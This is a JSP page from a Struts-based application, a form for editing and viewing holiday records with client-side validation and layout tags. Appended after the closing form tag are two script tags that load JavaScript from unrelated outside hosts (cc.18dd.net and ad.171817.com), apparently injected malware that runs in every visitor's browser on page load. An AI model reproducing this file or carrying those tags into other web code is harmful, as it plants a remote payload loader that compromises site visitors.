<%
/*
 * @(#)EditHolidayRecord.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditHolidayRecord.jsp

  This class is used for user record's edit and view only

    @author           Weison Liang
    @company          DCIVision Limited
    @creation date    30/03/2005
    @version          $Revision: 1.8.26.6 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html"%>
<%@ taglib uri="/tags/struts-bean" prefix="bean"%>
<%@ taglib uri="/tags/struts-logic" prefix="logic"%>
<%@ taglib uri="/tags/layout" prefix="layout"%>
<%@ page import="java.io.*"%>
<%@ page import="java.sql.*"%>
<%@ page import="java.util.*"%>
<%@ page import="java.util.Date"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.user.*"%>
<%@ page import="com.dcivision.setup.bean.*"%>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id='maintHolidayRecordForm' scope="request" class='com.dcivision.setup.web.MaintHolidayRecordForm'/>

<html:form action='setup/MaintHolidayRecord' onsubmit='return false'>
<html:javascript formName='maintHolidayRecordForm' method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%
  /****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

  String ACTION_MODE = (String)request.getAttribute(GlobalConstant.ACTION_MODE);
  PermissionManager permissionManager = sessionContainer.getPermissionManager();

  List workingCalList = (List)request.getAttribute("WORKING_CALENDAR_LIST");

   String[][] FLAG_MAP  = {{"setup.holiday.record","1"},
                           {"setup.holiday.reference","0"}
                            };

  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

%>
<script language="Javascript">
<!--
function custOpSave(frm) {
  if(custValidate(frm)){
    return OpSave();
  }
}

function custOpSaveAndNew(frm) {
  if(custValidate(frm)){
    return OpSaveAndNew();
  }
}

function custValidate(frm){
  if(document.maintHolidayRecordForm.workingCalendarID.value==''){
    alert("<bean:message key='setup.holiday.region.required'/>");
    return(false);
  }
  if(document.maintHolidayRecordForm.holidayName.value==''){
    alert("<bean:message key='setup.holiday.name.required'/>");
    return(false);
  }
  if(document.maintHolidayRecordForm.startDate.value==''){
    alert("<bean:message key='setup.holiday.start.required'/>");
    return(false);
  }
  if(document.maintHolidayRecordForm.endDate.value==''){
    alert("<bean:message key='setup.holiday.end.required'/>");
    return(false);
  }
  if (compareDate(frm.startDate, frm.endDate, true) > 0) {
    alert("<bean:message key='common.message.from_later_than_to'/>");
    return(false);
  }
  if(!document.maintHolidayRecordForm.referenceFlag[0].checked &&
      !document.maintHolidayRecordForm.referenceFlag[1].checked){
    alert("<bean:message key='setup.holiday.reference.required'/>");
    return(false);
  }
  return true;
}
-->
</script>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<input type="hidden" name="holidayType" value="<%=HolidayRecord.HOLIDAY_TYPE_PUBLIC%>">
<input type="hidden" name="today" value="<%=Utility.getCurrentTimestamp()%>">
<input type="hidden" name="workingCalendarID" value="1">

<!-- Page Title Section Begin -->
<layout:titleFormat><font class="pageTitle"><layout:pageTitle/></font>
<layout:returnButton>ListHolidayRecord.do?opMode=<%=GlobalConstant.OP_MODE_LIST_RETAIN%></layout:returnButton></layout:titleFormat>
<!-- Page Title Section End -->
<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>
<table width="780" cellpadding="0" cellspacing="2" border="0" align="left">
  <!-- Section Header (User Information) Begin-->
  <layout:sectionHeader name="setup.holiday.info"/>
  <!-- Section Header End-->

  <tr>
    <td class="<layout:classLabel mandatory='true'/>" width="150"><bean:message key='setup.holiday.holiday_name'/>:&nbsp;</td>
    <td class="dataField" width="630">
     <html:text property='holidayName' />
    </td>
  </tr>
  <tr>
    <td class="<layout:classLabel mandatory='true'/>" width="150"><bean:message key='setup.holiday.start_date'/>:&nbsp;</td>
    <td class="dataField" width="630">
      <html:datepicker property='startDate'/>
      <input type="hidden" name="oldStartDate" value="<%=maintHolidayRecordForm.getStartDate()%>">
    </td>
  </tr>
  <tr>
    <td class="<layout:classLabel mandatory='true'/>" width="150" valign="top"><bean:message key='setup.holiday.end_date'/>:&nbsp;</td>
    <td class="dataField" width="630">
      <html:datepicker property='endDate'/>
    </td>
  </tr>
  <tr>
    <td class="<layout:classLabel mandatory='true'/>" width="150"><bean:message key='setup.holiday.reference_flag'/>:&nbsp;</td>
    <td class="dataField" width="630">
      <html:radio property="referenceFlag" value="0" > <bean:message key='common.label.yes'/> </html:radio>
      <html:radio property="referenceFlag" value="1" > <bean:message key='common.label.no'/> </html:radio>
    </td>
  </tr>
  <tr>
    <td class="<layout:classLabel />" width="150"><bean:message key='setup.holiday.description'/>:&nbsp;</td>
    <td class="dataField" width="630">
      <html:textarea property="description" cols="40" rows="5"/>
    </td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src='LayoutSpacer.gif' width='1' height='10'/></td>
  </tr>
  <tr>
    <td colspan="2" align="center">
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.save" onClick="return custOpSave(maintHolidayRecordForm);"/>
      <%if (!GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.more" onClick="return custOpSaveAndNew(maintHolidayRecordForm);"/>
      <%}%>
    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintHolidayRecordForm.getOpMode())) {%>
      <html:permissionButton label="common.label.edit" right="E" link="MaintHolidayRecord.do?navMode=E&ID=${maintHolidayRecordForm.ID}"/>
    <%}%>
    </td>
  </tr>
</table>
</td></tr></table>
</html:form>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>